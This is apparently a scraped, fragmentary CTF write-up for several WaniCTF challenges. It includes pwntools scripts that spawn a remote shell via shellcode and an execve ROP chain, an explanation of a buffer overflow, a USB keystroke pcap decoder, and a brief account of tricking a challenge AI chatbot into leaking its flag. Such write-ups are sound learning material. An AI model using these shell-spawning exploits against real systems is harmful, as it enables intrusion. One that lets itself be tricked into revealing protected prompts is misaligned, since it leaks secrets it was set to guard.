-> First, let’s challenge the displayed arithmetic problem. -> After clearing the arithmetic problem, a new shell will be launched. There is no need to panic even if nothing is displayed on the screen. Try entering a command you know (such as ls or cat).
wasted more time than needed on this POS. thought, have to loop 100 times by evaluting the answer as it prompt “remaining 100 challenges” instead of manually answering the answer three time i wouldn’t if i have read hint given
#r = process() r = remote("netcat-pwn.wanictf.org",9001)
for i inrange(5): try: r.recvline() r.recvline() data = r.recv().decode() print(data) equ = re.search(r"\d+\s*\+\s*\d+",data) print("equ :",equ) ans = eval(str(equ.group())) print("ans : ",ans) r.sendline(str(ans).encode())
except: r.interactive()
only once
Description
In the pwn category, it is common for the problem server to distribute executable files and their source code. How does it differ from the source code of “netcat”?
x = rand_gen(); y = rand_gen(); chall--; } return0; }
main workflow as follows
ask answer of math equation
if answer is as expected increment the score by 1 and call the win function if score >=3
if not nullify the socre
decrement the char
but here is one catch, program appears to have a buffer overflow vulnerability on the line scanf("%8s", buf);. If the user inputs a string longer than 8 characters, it will overflow the buffer and potentially overwrite adjacent memory location i.e. char variable here
so if you see buf has 8 byte length itself and function scanf("%8s", buf) allowing us to input 8 byte data on buf and as we know In C, strings are represented as arrays of characters terminated by a null byte (‘\0’) after 8 byte of user input null byte wii be overwritten to char variable so it is precisely null byte overflow
and because char is decrementing each time in loop it will never match if condition i.e. chall == 0 e.g
1 2 3 4 5
int c = 0; while (c >= 0) { // do something c--; }
-> When a new function is called in a program, the pointer to the currently executing instruction is temporarily stored in the stack area.By restoring the instruction pointer, also known as the return address, that was saved in the stack area after the function call, the program can continue execution from where it left off immediately after the function call. -> If you were able to overwrite the return address, you could jump to a free address in the program and execute instructions there. Could you take control of the shell by overwriting the return address that is restored after the main function ends with the address of the win function?
typical ret2shellcode, we have given template just send the shellcode with padding
1 2 3 4 5 6 7 8
from pwn import *
#pc = process("./chall") pc = remote("shell-basic-pwn.wanictf.org",9004) # pc = remote("",) #shell_code = b"" # PUT YOUR SHELL CODE HERE pc.sendline(asm(shellcraft.amd64.linux.sh(), arch='amd64')) pc.interactive()
beginners ROP
Description
-> In “ret2win,” the shell was obtained by overwriting the return address with the address of the win function. -> In this challenge, there is no win function available. In such cases, return-oriented programming (ROP) is an effective attack technique. You can launch a shell by continuously calling fragments of instructions that end with a “ret” called gadgets.
as hints says In this challenge, there is no win function available. In such cases, return-oriented programming (ROP) is an effective attack technique. You can launch a shell by continuously calling fragments of instructions that end with a “ret” called gadgets.
we have all gadgets given, use all these gadgets to make system call for execve() function with /bin/sh arg that would be second arg for execve system call
strategy
1 2 3 4 5 6 7 8
pop %rax; ret # load rax with next value on stack (system call number) xor %rsi, %rsi; ret # clear rsi (second argument) xor %rdx, %rdx; ret # clear rdx (third argument) mov %rsp, %rdi # load rdi with pointer to the command to execute (first argument) add $0x8, %rsp # skip the old rax value and align the stack ret # return to the next instruction
syscall; ret # trigger the system call
where
1 2 3 4
rax = 0x3b # system call number for execve rdi = pointer to "/bin/sh" # command to execute rsi = pointer to NULL # arguments for the command rdx = pointer to NULL # environment variables
-> To use gadgets in libc, you need to determine the location of libc in memory. -> The return address from the main function already contains an address from libc. Although this address changes each time the program is executed, the relative address of libc is constant.
okay i didn’t figure out this challenge at run time but later got to realize i just had to find the inverse of 7 modulo 30 to reverse the logic
To find the inverse of 7 modulo 30, we need to find a number x such that:
7x ≡ 1 (mod 30)
In other words, we are looking for a number x such that when we multiply 7 by x and then take the result modulo 30, we get a remainder of 1. One way to solve this is to use the extended Euclidean algorithm. We can write:
30 = 4 × 7 + 2 7 = 3 × 2 + 1
Now we can work backwards to find the values of x and y that satisfy:
file updog is likely an ISO image file. ISO 9660 is a standard file system for optical disc media, such as CD-ROMs and DVD-ROMs, and the “ISO Label” indicates that the ISO file has been created according to ISO standards.
we can mount this ISO file as follows
1 2
$ mkdir ~/iso_mount $ sudo mount -o loop updog ~/iso_mount
after mounting
lowkey_messedup
pcap file given this time opening the file on wireshark we see that its USB based pcap file, now as there are USB-Mouse/ Keyboard and Storage devices. There would be data related to that to figure out if device connected is the keyboard, we can actually, check for the “interrupt in” info section and data below Leftover Capture Data
#make sure filename to open has been provided iflen(sys.argv) == 2: keycodes = open(sys.argv[1]) for line in keycodes: #dump line to bytearray bytesArray = bytearray.fromhex(line.strip()) #see if we have a key code val = int(bytesArray[2]) if val > 3and val < 100: #see if left shift or right shift was held down if bytesArray[0] == 0x02or bytesArray[0] == 0x20 : print(ucasekey[int(bytesArray[2])], end=''), #single line output #print(ucasekey[int(bytesArray[2])]) #newline output else: print(lcasekey[int(bytesArray[2])], end=''), #single line output #print(lcasekey[int(bytesArray[2])]) #newline output else: print("USAGE: python %s [filename]" % os.path.basename(__file__))
Misc
Prompt
Description
going through main.py file given got this section that seems flag will be visible if role is system and whatnot (just guessed)
i tried this one and got the flag
i dont know the intended way to solve this challenge as second time it didnt work.
playing with some question containg flag word got another hit , as this ai bot can be trick
Crypto
EZDORSA_Lv1
you know what time it is? its chatGPT time :p
Web
IndexedDB
It appears that the flag has been hidden somewhere on this page. Let’s use the browser’s developer tools to find it.